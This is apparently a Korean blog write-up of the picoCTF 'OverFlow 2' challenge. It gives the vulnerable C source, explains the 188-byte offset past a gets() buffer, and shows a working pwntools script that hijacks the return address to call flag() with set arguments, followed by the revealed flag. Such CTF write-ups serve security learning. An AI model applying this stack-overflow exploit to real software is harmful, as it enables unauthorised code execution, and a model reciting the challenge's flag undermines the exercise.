ii4gsp
picoCTF - OverFlow 2 본문
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
main()함수에서 vuln()함수를 호출한다.
vuln()함수에서 gets()함수로 buf에 입력을받는다.
flag()함수에서 arg1이 0xDEADBEEF이고 arg2가 0xC0DED00D이면 flag를 출력해준다.
IDA로 보면 vuln()함수의 변수 s가 ebp-B8에 위치한다.
0xB8 즉, 184byte가 할당되었고 s ~ sfp = 188
188byte만큼 dummy를 주고 flag()함수를 호출한뒤 인자값을 전달하면 된다.
from pwn import *
s = ssh(host = '2019shell1.picoctf.com', user = '', password = '')
s.set_working_directory('/problems/overflow-2_1_210f23786438d7f7e527f4901367a74b')
p = s.process('./vuln')
e = ELF('/home/ii4gsp/picoCTF/vuln')
flag = e.symbols['flag']
payload = ''
payload += '\x90' * 188
payload += p32(flag)
payload += '\x90' * 4
payload += p32(0xDEADBEEF)
payload += p32(0xC0DED00D)
p.sendline(payload.ljust(16))
p.interactive()
Flag: picoCTF{arg5_and_r3turn5001d1db0}
'시스템 해킹 > CTF' 카테고리의 다른 글
picoCTF - leap-frog (0) | 2020.03.10 |
---|---|
picoCTF - slippery-shellcode (0) | 2020.03.06 |
picoCTF - OverFlow 1 (0) | 2020.03.06 |
picoCTF - OverFlow 0 (0) | 2020.03.06 |
picoCTF - practice-run-1 (0) | 2020.03.06 |
Comments